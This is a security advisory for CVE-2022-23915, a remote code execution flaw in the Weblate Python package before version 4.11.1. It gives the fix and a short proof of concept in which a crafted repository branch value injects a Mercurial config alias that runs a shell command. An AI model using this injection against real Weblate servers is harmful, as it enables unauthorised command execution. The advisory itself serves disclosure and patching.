Remote Code Execution (RCE) Affecting weblate package, versions [0,4.11.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.29% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-WEBLATE-2414088
  • published4 Mar 2022
  • disclosed2 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 2 Mar 2022

CVE-2022-23915  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade Weblate to version 4.11.1 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection when using git or mercurial repositories. Authenticated users, can change the behavior of the application in an unintended way, leading to command execution.

PoC

  1. login into the application: http://localhost:8888/accounts/login/?next=/

  2. Add a new translation project with the following information (http://localhost:8888/create/project/) and then Save:

Project name: poc
URL slug: poc
Project website: http://localhost
  1. Add new translation component with the following information (http://localhost:8888/create/component/?project=1) and then click Continue:
Version control system: Mercurial
Source code repository: http://localhost:8888
Repository branch: --config=alias.pull=!id>/app/cache/static/output_rce.txt
  1. the output of the command id is at http://localhost:8888/static/output_rce.txt

CVSS Scores

version 3.1